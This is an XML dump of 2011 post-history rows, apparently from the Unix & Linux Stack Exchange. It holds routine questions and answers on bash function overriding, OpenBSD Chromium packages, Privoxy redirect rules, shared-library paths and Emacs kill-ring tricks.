  <row Id="23200" PostHistoryTypeId="3" PostId="9723" RevisionGUID="78c42e7d-8ab9-4520-91a4-1c40ddbcfaf8" CreationDate="2011-03-20T12:16:49.463" UserId="5664" Text="échromeàéopenbsdà" />
  <row Id="23201" PostHistoryTypeId="5" PostId="9721" RevisionGUID="670d21b3-3183-40b9-93b9-663c4dc24b02" CreationDate="2011-03-20T12:18:48.397" UserId="2180" Comment="mardown merged two sections of code that were meant to be separate" Text="Not exactly, however, you can override the test() function.  The last function definition always takes precedence. So if you source a file that has `test()` then define a function with the same name after that, the latter function will override the one that was sourced. I take advantage of this to provide some object-orientedness in some of my scripts.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;bash_functions.sh:&#xD;&#xA;&#xD;&#xA;    test(){&#xD;&#xA;        echo &quot;This is the test function from bash_functions.&quot;&#xD;&#xA;    }&#xD;&#xA;    test2(){&#xD;&#xA;        echo &quot;This is the test2 function from bash_functions.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;scripty_scripterson.sh&#xD;&#xA;&#xD;&#xA;    test2(){&#xD;&#xA;        #this is thrown in just to show what happens in&#xD;&#xA;        #the other direction&#xD;&#xA;        echo &quot;This is the test2 function from scripty.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    source bash_functions.sh&#xD;&#xA;&#xD;&#xA;    test1(){&#xD;&#xA;        echo &quot;This is the test1 function from scripty.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    test1&#xD;&#xA;    test2&#xD;&#xA;&#xD;&#xA;At the command line:&#xD;&#xA;&#xD;&#xA;    $ ./scripty_scripterson.sh &#xD;&#xA;    This is the test1 function from scripty.&#xD;&#xA;    This is the test2 function from bash_functions.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23202" PostHistoryTypeId="5" PostId="9723" RevisionGUID="1cad0a48-12b7-4f86-b1c9-3b0cb94347ed" CreationDate="2011-03-20T12:26:28.393" UserId="688" Comment="rm jovial greetings" Text="How can I install Google Chrome on OpenBSD?&#xD;&#xA;" />
  <row Id="23203" PostHistoryTypeId="2" PostId="9724" RevisionGUID="480192fd-c961-42dc-8949-76ed1c163851" CreationDate="2011-03-20T12:39:34.717" UserId="5664" Text="Criterias:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA; - Audio/video calls!&lt;br&gt;&#xD;&#xA; - Encrypt the whole traffic [with a good encryption]&lt;br&gt;&#xD;&#xA; - ported to windows 7 too!&lt;br&gt;&#xD;&#xA; - runs on Fedora, OpenBSD!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Does anybody know's a good alternative?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="23204" PostHistoryTypeId="1" PostId="9724" RevisionGUID="480192fd-c961-42dc-8949-76ed1c163851" CreationDate="2011-03-20T12:39:34.717" UserId="5664" Text="Skype alternative on Fedora &amp; OpenBSD" />
  <row Id="23205" PostHistoryTypeId="3" PostId="9724" RevisionGUID="480192fd-c961-42dc-8949-76ed1c163851" CreationDate="2011-03-20T12:39:34.717" UserId="5664" Text="élinuxàéaudioàévideoàébsdàéopenbsdà" />
  <row Id="23206" PostHistoryTypeId="2" PostId="9725" RevisionGUID="c3109837-cc7a-4fb3-b375-04b41d4ba9f1" CreationDate="2011-03-20T12:43:05.667" UserId="4319" Text="At [ALTLinux](http://en.altlinux.org), much effort is put into maintaining accurate spec-files for packages and that building the packages is accurately reproducible in the current state of the repository of packages. It is being checked regularly that every package in the repository (called [Sisyphus](http://en.altlinux.org/Sisyphus)) is rebuildable at the current moment -- [a rebuild test status report](http://lists.altlinux.org/pipermail/sisyphus-cybertalk/2011-March/078193.html), [the logs of the last rebuild test, per package](http://git.altlinux.org/beehive/logs/Sisyphus-i586/latest/error/).&#xD;&#xA;&#xD;&#xA;To be sure in accurate reproducibility of package builds, special tools to isolate the build system from the host system are used: [hasher](http://en.altlinux.org/Hasher) and the surrounding build-infrastructure tools (e.g., [Building packages with gear](http://en.altlinux.org/Git.alt_reference#Building_packages_with_gear)).&#xD;&#xA;&#xD;&#xA;So, although ALTLinux isn't dedicated to installing your system by building, **one can be sure that a package he takes from the repository will be easily rebuildable at his host system**, without extra issues that haven't been tracked formally by the spec.&#xD;&#xA;&#xD;&#xA;ALTLinux is dedicated to being the source for custom package repositories and distros, which--by the design of ALTLinux build system and associated tools--can be easily customized and rebuilt independently from ALTLinux and safely (i.e., isolated from your host system). So, if one wants to make his own customized distro, [ALTLinux Sisyphus](http://en.altlinux.org/Sisyphus) can be the base for this distro that will be easy for him to use in his work: [Intro into making your own distro (in Russian](http://www.altlinux.org/%22%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D1%83_%D0%B4%D0%B8%D1%81%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8%D0%B2%D0%BE%D0%B2%22)." />
  <row Id="23207" PostHistoryTypeId="6" PostId="356" RevisionGUID="511e0564-5248-4f24-b155-a1234e82dab9" CreationDate="2011-03-20T13:06:40.067" UserId="4319" Comment="Added a tag because this questions concerns the sources side of distros, so relevant for those interested in this topic." Text="éfreebsdàésourceàéjailsà" />
  <row Id="23208" PostHistoryTypeId="24" PostId="356" RevisionGUID="511e0564-5248-4f24-b155-a1234e82dab9" CreationDate="2011-03-20T13:06:40.067" Comment="Proposed by 4319 approved by 2511 edit id of 221" />
  <row Id="23209" PostHistoryTypeId="2" PostId="9726" RevisionGUID="8e3fc42b-bfe2-41d7-839e-f34a27069687" CreationDate="2011-03-20T13:16:52.893" UserId="885" Text="In a function definition `foo () { … }`, if `foo` is an alias, it is expanded. This can sometimes be a problem, but here it helps. Alias `foo` to some other name before sourcing the file, and you'll be defining a different function. In bash, alias expansion is off by default in non-interactive shells, so you need to turn it on with `shopt -s expand_aliases`.&#xD;&#xA;&#xD;&#xA;If `sourced.sh` contains&#xD;&#xA;&#xD;&#xA;    foo () {&#xD;&#xA;      echo &quot;foo from sourced.sh&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then you use it this way&#xD;&#xA;&#xD;&#xA;    foo () {&#xD;&#xA;      echo &quot;old foo&quot;&#xD;&#xA;    }&#xD;&#xA;    shopt -s expand_aliases   # necessary in bash; just skip in ash/ksh/zsh&#xD;&#xA;    alias foo=do_not_define_foo&#xD;&#xA;    . sourced.sh&#xD;&#xA;    unalias foo; unset -f do_not_define_foo&#xD;&#xA;    foo&#xD;&#xA;&#xD;&#xA;then you get `old foo`. Note that the sourced file must use the `foo () { … }` function definition syntax, not `function foo { … }`, because the `function` keyword would block alias expansion.&#xD;&#xA;" />
  <row Id="23210" PostHistoryTypeId="6" PostId="9706" RevisionGUID="38927ee9-70d0-426f-9cce-6f0e79ca9e2d" CreationDate="2011-03-20T13:17:10.367" UserId="885" Comment="edited tags" Text="ébashàéshellàéfunctionà" />
  <row Id="23211" PostHistoryTypeId="2" PostId="9727" RevisionGUID="b2f8ed15-62de-4b90-9957-c12563707c00" CreationDate="2011-03-20T13:18:46.340" UserId="298" Text="Chrome has been in OpenBSD's ports tree since at least OpenBSD 4.8.  &#xD;&#xA;&#xD;&#xA;    $ sudo pkg_add chromium&#xD;&#xA;&#xD;&#xA;Should do the trick, assuming your PKG_PATH environment variable is properly set.&#xD;&#xA;&#xD;&#xA;For more information on ports/packages, see here: [OpenBSD Packages and Ports System][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/faq/faq15.html#PkgMgmt" />
  <row Id="23212" PostHistoryTypeId="2" PostId="9728" RevisionGUID="455d2d93-ae5a-4a8c-87db-f4b2c07810a0" CreationDate="2011-03-20T13:20:13.513" UserId="4485" Text="You may create a temp-file, read it in, and delete it afterwards. To delete function 'test', I assume here that there is no '}' inside the function. &#xD;&#xA;&#xD;&#xA;    sed '/test()/,/}/d' testrc &gt; ./tmprc &amp;&amp; source ./tmprc &amp;&amp; rm tmprc" />
  <row Id="23213" PostHistoryTypeId="2" PostId="9729" RevisionGUID="538078d0-807d-4591-98aa-137c9f8cb2e9" CreationDate="2011-03-20T13:27:39.823" UserId="2511" Text="Fedora Core 3 reached end of life on January 16th, 2006. That means there have been no security updates for over five years. Half a decade!&#xD;&#xA;&#xD;&#xA;***This*** is the problem you need to solve:&#xD;&#xA;&#xD;&#xA;&gt; Since I am not permitted to upgrade the OS, which would result in loss &#xD;&#xA;of important data,&#xD;&#xA;&#xD;&#xA;What if the system were to die? Or, more importantly, what if known vulnerabilities in Firefox 2.0 and the old Linux kernel you are running enable an attacker to compromise your machine and destroy your data?&#xD;&#xA;&#xD;&#xA;The answer to your question is: if you really need that FC3 box unchanged, you need to _sandbox that system as completely as possible_. It should not be talking to the public internet, and I'd be pretty suspicious about putting it near my internet network either. This isn't a theoretical concern — it's a real risk. And putting flash on there is only going to increase that risk.&#xD;&#xA;&#xD;&#xA;So the answer to your question really has got to be: _don't use that system_. If you need Flash — or web browsing in general! — use a different system.&#xD;&#xA;&#xD;&#xA;And find a way to make your data safe. Because this problem is only going to get harder, not easier." />
  <row Id="23214" PostHistoryTypeId="2" PostId="9730" RevisionGUID="ea01f1d6-e615-45f1-9411-52ac2621eb52" CreationDate="2011-03-20T13:31:56.247" UserId="885" Text="You've installed a shared library in a non-standard location, so it's not found.&#xD;&#xA;&#xD;&#xA;If you want the libraries in `/opt/gnome/lib` to be available automatically to all programs, add this directory to `/etc/ld.so.conf`, then run `ldconfig` (as root). If `/etc/ld.so.conf` contains a line like `include /etc/ld.so.conf.d/*.conf`, rather than add your entry directly to `/etc/ld.so.conf`, create a file `/etc/ld.so.conf.d/tshepang.conf` and add `/opt/gnome/lib` to that file.&#xD;&#xA;&#xD;&#xA;If you only want the libraries in `/opt/gnome/lib` to be available on request, or don't have root permissions, add that directory to the `LD_LIBRARY_PATH` environment variable. (It's a colon-separated list, just like `PATH`, but for libraries instead of executables.)&#xD;&#xA;&#xD;&#xA;A third possibility is to tell the `/opt/gnome/bin/python` binary to look for libraries in `/opt/gnome/lib`, but you have to do that when you build the executable. Check the JHBuild documentation for a setting like “[rpath](http://en.wikipedia.org/wiki/Rpath_%28linking%29)” or “runtime library path”.&#xD;&#xA;" />
  <row Id="23215" PostHistoryTypeId="6" PostId="9719" RevisionGUID="9330b78c-25ff-4e10-be83-044502aeab0e" CreationDate="2011-03-20T13:32:34.530" UserId="885" Comment="edited tags" Text="élinuxàégnomeàécompilingà" />
  <row Id="23216" PostHistoryTypeId="2" PostId="9731" RevisionGUID="26686ab2-bd4f-4fe8-ae84-7ed43f9c8709" CreationDate="2011-03-20T13:34:36.883" UserId="732" Text="ksh and zsh have &quot;whence&quot; as a shell built-in.  `whence -a` does what you want under zsh:&#xD;&#xA;&#xD;&#xA;     7:27AM 7 % whence -a cat&#xD;&#xA;    /usr/bin/cat&#xD;&#xA;    /bin/cat&#xD;&#xA;    /usr/bin/cat&#xD;&#xA;    /bin/cat&#xD;&#xA;&#xD;&#xA;I have to clean up PATH in zsh, I have lots of duplicates in it. `whence -a` works differently under ksh:&#xD;&#xA;&#xD;&#xA;    $ whence -a cat&#xD;&#xA;    cat is a tracked alias for /usr/bin/cat&#xD;&#xA;&#xD;&#xA;I have to say, that seems like a potentially useful behavior, too.&#xD;&#xA;" />
  <row Id="23217" PostHistoryTypeId="5" PostId="9719" RevisionGUID="ac18a0be-1fe5-445e-90e4-7097b295e5e4" CreationDate="2011-03-20T13:39:36.250" UserId="688" Comment="correction" Text="When I run `jhbuild buildone gudev` I get:&#xD;&#xA;&#xD;&#xA;    &lt;SNIP&gt;&#xD;&#xA;    Making all in .&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevclient.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevdevice.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevmarshal.lo&#xD;&#xA;      CC     extras/gudev/extras_gudev_libgudev_1_0_la-gudevenumtypes.lo&#xD;&#xA;      CCLD   extras/gudev/libgudev-1.0.la&#xD;&#xA;      GEN    extras/gudev/GUdev-1.0.gir&#xD;&#xA;    /opt/gnome/bin/python: error while loading shared libraries: libpython2.5.so.1.0: cannot open shared object file: No such file or directory&#xD;&#xA;    make[2]: *** [extras/gudev/GUdev-1.0.gir] Error 127&#xD;&#xA;    make[1]: *** [all-recursive] Error 1&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;    *** Error during phase build of gudev: ########## Error running make   *** [1/1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**NOTES**:&#xD;&#xA;&#xD;&#xA;* I verified that I do have **/opt/gnome/lib/libpython2.5.so.1.0**.&#xD;&#xA;* At time of writing, I'm running latest JHBuild.&#xD;&#xA;* I used `jhbuild bootstrap --ignore-system` to avoid any incompatibilities that may arise from my Debian packages. Note that the Python 2.5 so file is built and installed by this command." />
  <row Id="23218" PostHistoryTypeId="2" PostId="9732" RevisionGUID="c0a54dae-b13c-4389-be2d-568179a82b01" CreationDate="2011-03-20T13:42:00.540" UserId="885" Text="I have no idea if there's a way to fix or cleanly disable `gvfsd-cdda`. Debian has a generic mechanism for providing your own version of a file that's normally under the package manager's control. If you find you must change `/usr/lib/gvfs/gvfsd-cdda` or `/usr/share/mounts/cdda.mount`, use `dpkg-divert` so that the package's version will be diverted to a different file name:&#xD;&#xA;&#xD;&#xA;    dpkg-divert --add --local --rename --divert /usr/lib/gvfs/gvfsd-cdda.debian /usr/lib/gvfs/gvfsd-cdda&#xD;&#xA;    ln -s /bin/true /usr/lib/gvfs/gvfsd-cdda&#xD;&#xA;" />
  <row Id="23219" PostHistoryTypeId="4" PostId="9669" RevisionGUID="05392748-8d18-4be6-9d49-fa3deeb0a876" CreationDate="2011-03-20T13:42:05.320" UserId="5766" Comment="edited title" Text="How can I generate email statistics from mutt header cache?" />
  <row Id="23220" PostHistoryTypeId="6" PostId="9707" RevisionGUID="4c2bf59e-3965-4860-bc09-2062160081e7" CreationDate="2011-03-20T13:45:58.177" UserId="885" Comment="edited tags" Text="élinuxàéshellàéosxàésleepà" />
  <row Id="23221" PostHistoryTypeId="2" PostId="9733" RevisionGUID="c1b36466-664a-4053-8140-3dee36981aec" CreationDate="2011-03-20T14:13:31.103" UserId="3519" Text="There's [Speak Freely][1] &amp; [a Windows only version][2], but development was halted many years ago (Windows7 did not exist, but there was a Windows and a Linux version). So if you fancy picking it up where it was left, that could be an option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://speak-freely.sourceforge.net/&#xD;&#xA;  [2]: http://www.speakfreely.org/" />
  <row Id="23222" PostHistoryTypeId="25" PostId="9724" RevisionGUID="d766cadf-651b-4ba5-a2bd-be271788270a" CreationDate="2011-03-20T14:31:25.793" Comment="http://twitter.com/#!/StackUnix/status/49478153835528192" />
  <row Id="23224" PostHistoryTypeId="2" PostId="9735" RevisionGUID="fe271735-a8fa-45de-8470-52423500e77f" CreationDate="2011-03-20T14:57:20.950" UserId="4671" Text="Well, there are Ekiga and its various cousins eg. Twinkle, which support the SIP standard. Unfortunately my experience is that they do not work as reliably as Skype. In particular, Ekiga seems to get upset by Flash. That is understandable. I also find Flash quite upsetting.&#xD;&#xA;&#xD;&#xA;If you can get Ekiga to work, its rates via Diamondcard.us are a lot cheaper than Skype, particularly for SMS, if you use that. And it is free (as in freedom) software, and seems to be quite cross-platform.&#xD;&#xA;&#xD;&#xA;I think Ekiga does not currently support encryption, so that would violate one of your criteria.&#xD;&#xA;" />
  <row Id="23230" PostHistoryTypeId="2" PostId="9737" RevisionGUID="300ce347-e260-434f-ae24-9599a5d77802" CreationDate="2011-03-20T15:56:10.377" UserId="5664" Text="Dear community!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I have a few Privoxy rules, that can redirect HTTP Wikipedia [en,de] traffic to HTTPS: &lt;br&gt;&#xD;&#xA;(a little part from the &quot;user.action&quot; file:)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;{ +redirect{s@http://en.wikipedia.org/wiki/@https://secure.wikimedia.org/wikipedia/en/wiki/@} }&lt;br&gt;&#xD;&#xA;.en.wikipedia.org&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;{ +redirect{s@http://de.wikipedia.org/wiki/@https://secure.wikimedia.org/wikipedia/de/wiki/@} }&lt;br&gt;&#xD;&#xA;.de.wikipedia.org&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;..so you get the problem: is there any way to put a &quot;regexp&quot; or something to: &quot;en&quot;, &quot;de&quot;?&lt;br&gt;&#xD;&#xA;There are hundreds of other languages, i think it's a bad solution to write down them all.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;There is another question: is my solution good so far?&lt;br&gt;&#xD;&#xA;I'm asking that because if i visit: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;https://secure.wikimedia.org/wikipedia/en/wiki/File:Nokota_Horses_cropped.jpg&lt;br&gt;&#xD;&#xA;that's ok, it's using HTTPS. BUT if i click on the picture: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;http://upload.wikimedia.org/wikipedia/commons/d/de/Nokota_Horses_cropped.jpg&lt;br&gt;&#xD;&#xA;it's using _HTTP_ !!! - so this is not good. Are the pictures on a HTTP-only server, &lt;br&gt;&#xD;&#xA;or i can write another redirect rule to view the pictures in HTTPS?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks you for any pointings, help, solution.&lt;br&gt;" />
  <row Id="23231" PostHistoryTypeId="1" PostId="9737" RevisionGUID="300ce347-e260-434f-ae24-9599a5d77802" CreationDate="2011-03-20T15:56:10.377" UserId="5664" Text="Privoxy redirect rule for Wikipedia! :)" />
  <row Id="23232" PostHistoryTypeId="3" PostId="9737" RevisionGUID="300ce347-e260-434f-ae24-9599a5d77802" CreationDate="2011-03-20T15:56:10.377" UserId="5664" Text="élinuxàésecurityàéprivoxyà" />
  <row Id="23233" PostHistoryTypeId="5" PostId="9737" RevisionGUID="ae61c5e7-de61-4b5f-8fa1-d7ddc2d792a0" CreationDate="2011-03-20T16:06:42.477" UserId="885" Comment="formatting; grammar" Text="I have a few Privoxy rules, that can redirect HTTP Wikipedia [en,de] traffic to HTTPS: (a little part from the &quot;user.action&quot; file)&#xD;&#xA;&#xD;&#xA;    { +redirect{s@http://en.wikipedia.org/wiki/@https://secure.wikimedia.org/wikipedia/en/wiki/@} }&#xD;&#xA;    .en.wikipedia.org&#xD;&#xA;    &#xD;&#xA;    { +redirect{s@http://de.wikipedia.org/wiki/@https://secure.wikimedia.org/wikipedia/de/wiki/@} }&#xD;&#xA;    .de.wikipedia.org&#xD;&#xA;&#xD;&#xA;So you get the problem: is there any way to put a &quot;regexp&quot; or something to: &quot;en&quot;, &quot;de&quot;? There are hundreds of other languages, i think it's a bad solution to write down them all.&lt;&#xD;&#xA;&#xD;&#xA;There is another question: is my solution good so far? I'm asking that because if i visit https://secure.wikimedia.org/wikipedia/en/wiki/File:Nokota_Horses_cropped.jpg&#xD;&#xA;that's ok, it's using HTTPS. BUT if i click on the picture: http://upload.wikimedia.org/wikipedia/commons/d/de/Nokota_Horses_cropped.jpg&#xD;&#xA;it's using HTTP! So this is not good. Are the pictures on a HTTP-only server,&#xD;&#xA;or i can write another redirect rule to view the pictures in HTTPS?" />
  <row Id="23234" PostHistoryTypeId="4" PostId="9737" RevisionGUID="ae61c5e7-de61-4b5f-8fa1-d7ddc2d792a0" CreationDate="2011-03-20T16:06:42.477" UserId="885" Comment="formatting; grammar" Text="Privoxy redirect rule for Wikipedia" />
  <row Id="23235" PostHistoryTypeId="5" PostId="9649" RevisionGUID="121963cb-eff2-46f4-9866-2abe51e8df22" CreationDate="2011-03-20T16:10:55.927" UserId="591" Comment="added alternative for \n; edited body" Text="If your file is delimited by ', ' (commas followed by space) then &#xD;&#xA;&#xD;&#xA;`sed 's/, /\n/g' filename.csv &gt;newfile` &#xD;&#xA;&#xD;&#xA;will do the job. If its delimited by ',' (commas without spaces) then&#xD;&#xA;&#xD;&#xA;`sed 's/,/\n/g' filename.csv &gt;newfile` &#xD;&#xA;&#xD;&#xA;will work. &#xD;&#xA;&#xD;&#xA;or change the `\n` to `\o12` if your flavour of sed doesn't like it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23236" PostHistoryTypeId="2" PostId="9738" RevisionGUID="12aa4f61-bd81-4092-920d-950bac1fb5f2" CreationDate="2011-03-20T16:34:13.287" UserId="4319" Text="It happens quite often that I want to use the path of the file opened in a certain buffer in Emacs (either the full path or the basename) in another place (a buffer or a different X program, say, a terminal). I wonder whether there is some pre-defined subsystem in the Emacs &quot;user interface&quot; that would copy the filename of the current buffer (`(buffer-file-name)`) to the kill-ring.&#xD;&#xA;&#xD;&#xA;Related things: There is a simple command in emacs-w3m that does an analoguos thing (&lt;kbd&gt;y&lt;/kbd&gt; -- `w3m-print-current-url`): it prints the URL and copies it to the kill-ring.&#xD;&#xA;&#xD;&#xA;Of course, I could simply define the command I want, but I'm asking this question because I hope to get to know some user interface subsystem of Emacs that includes such a possibility among other features. (Perhaps, some buffer and path manipulation interfaces.) So that I will know more useful features of Emacs." />
  <row Id="23237" PostHistoryTypeId="1" PostId="9738" RevisionGUID="12aa4f61-bd81-4092-920d-950bac1fb5f2" CreationDate="2011-03-20T16:34:13.287" UserId="4319" Text="Is there a user interface in Emacs allowing one to &quot;grab&quot; the buffer's filename conveniently?" />
  <row Id="23238" PostHistoryTypeId="3" PostId="9738" RevisionGUID="12aa4f61-bd81-4092-920d-950bac1fb5f2" CreationDate="2011-03-20T16:34:13.287" UserId="4319" Text="éemacsàéfilenamesàépathàécopyöpasteà" />
  <row Id="23239" PostHistoryTypeId="2" PostId="9739" RevisionGUID="27ec0f62-3359-41d0-a016-10d716033219" CreationDate="2011-03-20T16:42:58.687" UserId="885" Text="The quickest way to copy the name of the current file in the default setup is&#xD;&#xA;&#xD;&#xA;    C-x C-f             find-file&#xD;&#xA;    down                next-history-element&#xD;&#xA;    C-SPC C-a M-w       select and copy the minibuffer contents&#xD;&#xA;    C-g                 abort find-file&#xD;&#xA;" />
  <row Id="23240" PostHistoryTypeId="6" PostId="9738" RevisionGUID="3bb92524-d526-4269-a794-f77323b9f02b" CreationDate="2011-03-20T16:43:14.133" UserId="885" Comment="edited tags" Text="éemacsàéfilenamesàécopyöpasteà" />
  <row Id="23241" PostHistoryTypeId="2" PostId="9740" RevisionGUID="95cad780-4069-461f-a21c-ef3b29c42ee8" CreationDate="2011-03-20T16:49:56.353" UserId="4319" Text="Sometimes I want to insert the result of an Emacs command (that has been echoed in the echo area) to another buffer or another running X program. So, I'd like to put it to the kill-ring. What would be a convenient way to do this?&#xD;&#xA;&#xD;&#xA;For example: I could run a query with a shell command while in dired mode, say: &lt;kbd&gt;!&lt;/kbd&gt;` rpm -qf` (to find out which package owns the selected file in the directory listing), and then want to insert the result somewhere else.&#xD;&#xA;&#xD;&#xA;Or, another example: if I needed the filename of the current buffer (as in http://unix.stackexchange.com/questions/9738/is-there-a-user-interface-in-emacs-allowing-one-to-grab-the-buffers-filename-c), and there was not yet any predefined command for this, I could at least do &lt;kbd&gt;M-:&lt;/kbd&gt;` (buffer-file-name)` and then use this general-purpose way to copy the shown result to the kill-ring in order to paste it later. (Of course, I could eval `(kill-new (buffer-file-name))`, but this example here is to illustrate what kind of general-purpose way to do the grabbing of the echoed result.)" />
  <row Id="23242" PostHistoryTypeId="1" PostId="9740" RevisionGUID="95cad780-4069-461f-a21c-ef3b29c42ee8" CreationDate="2011-03-20T16:49:56.353" UserId="4319" Text="Is there a convenient general way to &quot;grab&quot; the echoed result of a command in Emacs (of `M-:` or `M-!`)" />
  <row Id="23243" PostHistoryTypeId="3" PostId="9740" RevisionGUID="95cad780-4069-461f-a21c-ef3b29c42ee8" CreationDate="2011-03-20T16:49:56.353" UserId="4319" Text="éemacsàécopyöpasteà" />
  <row Id="23244" PostHistoryTypeId="5" PostId="9738" RevisionGUID="0b12443a-ac3f-4596-85e9-04d3ca854246" CreationDate="2011-03-20T16:52:30.750" UserId="4319" Comment="(minor) simpler English" Text="It happens quite often that I want to use the path of the file opened in a certain buffer in Emacs (either the full path or the basename) in another place (a buffer or a different X program, say, a terminal). I wonder whether there is some pre-defined subsystem in the Emacs &quot;user interface&quot; that would copy the filename of the current buffer (`(buffer-file-name)`) to the kill-ring.&#xD;&#xA;&#xD;&#xA;Related things: There is a simple command in emacs-w3m that does an analoguos thing (&lt;kbd&gt;y&lt;/kbd&gt; -- `w3m-print-current-url`): it prints the URL and copies it to the kill-ring.&#xD;&#xA;&#xD;&#xA;Of course, I could simply define the command I want, but I'm asking this question because I hope to learn some user interface subsystem of Emacs that includes such a possibility among other features. (Perhaps, some buffer and path manipulation interfaces.) So that I will know more useful features of Emacs." />
  <row Id="23245" PostHistoryTypeId="4" PostId="9740" RevisionGUID="37205f0f-400c-463e-9fd1-13ca0ba71dc9" CreationDate="2011-03-20T16:58:22.803" UserId="4319" Comment="(minor) Fixed a typo (clarifying the wording)." Text="Is there a convenient general way to &quot;grab&quot; the echoed result of a command in Emacs (of M-: or M-!)" />
  <row Id="23246" PostHistoryTypeId="5" PostId="9740" RevisionGUID="37205f0f-400c-463e-9fd1-13ca0ba71dc9" CreationDate="2011-03-20T16:58:22.803" UserId="4319" Comment="(minor) Fixed a typo (clarifying the wording)." Text="Sometimes I want to insert the result of an Emacs command (that has been echoed in the echo area) to another buffer or another running X program. So, I'd like to put it to the kill-ring. What would be a convenient way to do this?&#xD;&#xA;&#xD;&#xA;For example: I could run a query with a shell command while in dired mode, say: &lt;kbd&gt;!&lt;/kbd&gt;` rpm -qf` (to find out which package owns the selected file in the directory listing), and then want to insert the result somewhere else.&#xD;&#xA;&#xD;&#xA;Or, another example: if I needed the filename of the current buffer (as in http://unix.stackexchange.com/questions/9738/is-there-a-user-interface-in-emacs-allowing-one-to-grab-the-buffers-filename-c), and there was not yet any predefined command for this, I could at least do &lt;kbd&gt;M-:&lt;/kbd&gt;` (buffer-file-name)` and then use this general-purpose way to copy the shown result to the kill-ring in order to paste it later. (Of course, I could eval `(kill-new (buffer-file-name))`, but this example here is to illustrate what kind of general-purpose way to do the grabbing of the echoed result I'm looking for.)" />
  <row Id="23247" PostHistoryTypeId="2" PostId="9741" RevisionGUID="8eddc13a-89b6-439d-9636-a00e9a203966" CreationDate="2011-03-20T17:07:24.023" UserId="885" Text="All messages echoed in the message area are saved in the `*Messages*` buffer, so just switch to it and select what you want.&#xD;&#xA;&#xD;&#xA;If you want to get the value an expression that doesn't depend on the current buffer, you can also switch to the `*scratch*` buffer. Type your expression and press `C-j` (`eval-print-last-sexp`).&#xD;&#xA;" />
  <row Id="23248" PostHistoryTypeId="25" PostId="9738" RevisionGUID="9251f906-e0ec-43ca-9f18-fc8789afccd3" CreationDate="2011-03-20T17:31:26.060" Comment="http://twitter.com/#!/StackUnix/status/49523452750741504" />
  <row Id="23249" PostHistoryTypeId="5" PostId="9740" RevisionGUID="54c6b935-9340-40cd-9c3e-770e94e4e502" CreationDate="2011-03-20T17:37:36.623" UserId="4319" Comment="(minor) Punctuation." Text="Sometimes, I want to insert the result of an Emacs command (that has been echoed in the echo area) to another buffer or another running X program. So, I'd like to put it to the kill-ring. What would be a convenient way to do this?&#xD;&#xA;&#xD;&#xA;For example: I could run a query with a shell command while in dired mode, say: &lt;kbd&gt;!&lt;/kbd&gt;` rpm -qf` (to find out which package owns the selected file in the directory listing), and then want to insert the result somewhere else.&#xD;&#xA;&#xD;&#xA;Or, another example: if I needed the filename of the current buffer (as in http://unix.stackexchange.com/questions/9738/is-there-a-user-interface-in-emacs-allowing-one-to-grab-the-buffers-filename-c), and there was not yet any predefined command for this, I could at least do &lt;kbd&gt;M-:&lt;/kbd&gt;` (buffer-file-name)` and then use this general-purpose way to copy the shown result to the kill-ring in order to paste it later. (Of course, I could eval `(kill-new (buffer-file-name))`, but this example here is to illustrate what kind of general-purpose way to do the grabbing of the echoed result I'm looking for.)" />
  <row Id="23250" PostHistoryTypeId="4" PostId="9740" RevisionGUID="54c6b935-9340-40cd-9c3e-770e94e4e502" CreationDate="2011-03-20T17:37:36.623" UserId="4319" Comment="(minor) Punctuation." Text="Is there a convenient general way to &quot;grab&quot; the echoed result of a command in Emacs (of M-: or M-!)?" />
  <row Id="23251" PostHistoryTypeId="2" PostId="9742" RevisionGUID="f07c68a8-6eb4-4814-94f3-205f43833eae" CreationDate="2011-03-20T17:41:09.550" UserId="5325" Text="Type `C-u` before either `M-:` or `M-!` to get the result inserted instead of sent to the echo area." />
  <row Id="23252" PostHistoryTypeId="5" PostId="9741" RevisionGUID="e51d115b-ec29-4c00-9c9a-d456b9cd556f" CreationDate="2011-03-20T17:43:25.710" UserId="885" Comment="added `C-h e` key binding" Text="All messages echoed in the message area are saved in the `*Messages*` buffer, so just switch to it (`C-h e`, `view-echo-area-messages`) and select what you want.&#xD;&#xA;&#xD;&#xA;If you want to get the value an expression that doesn't depend on the current buffer, you can also switch to the `*scratch*` buffer. Type your expression and press `C-j` (`eval-print-last-sexp`).&#xD;&#xA;" />
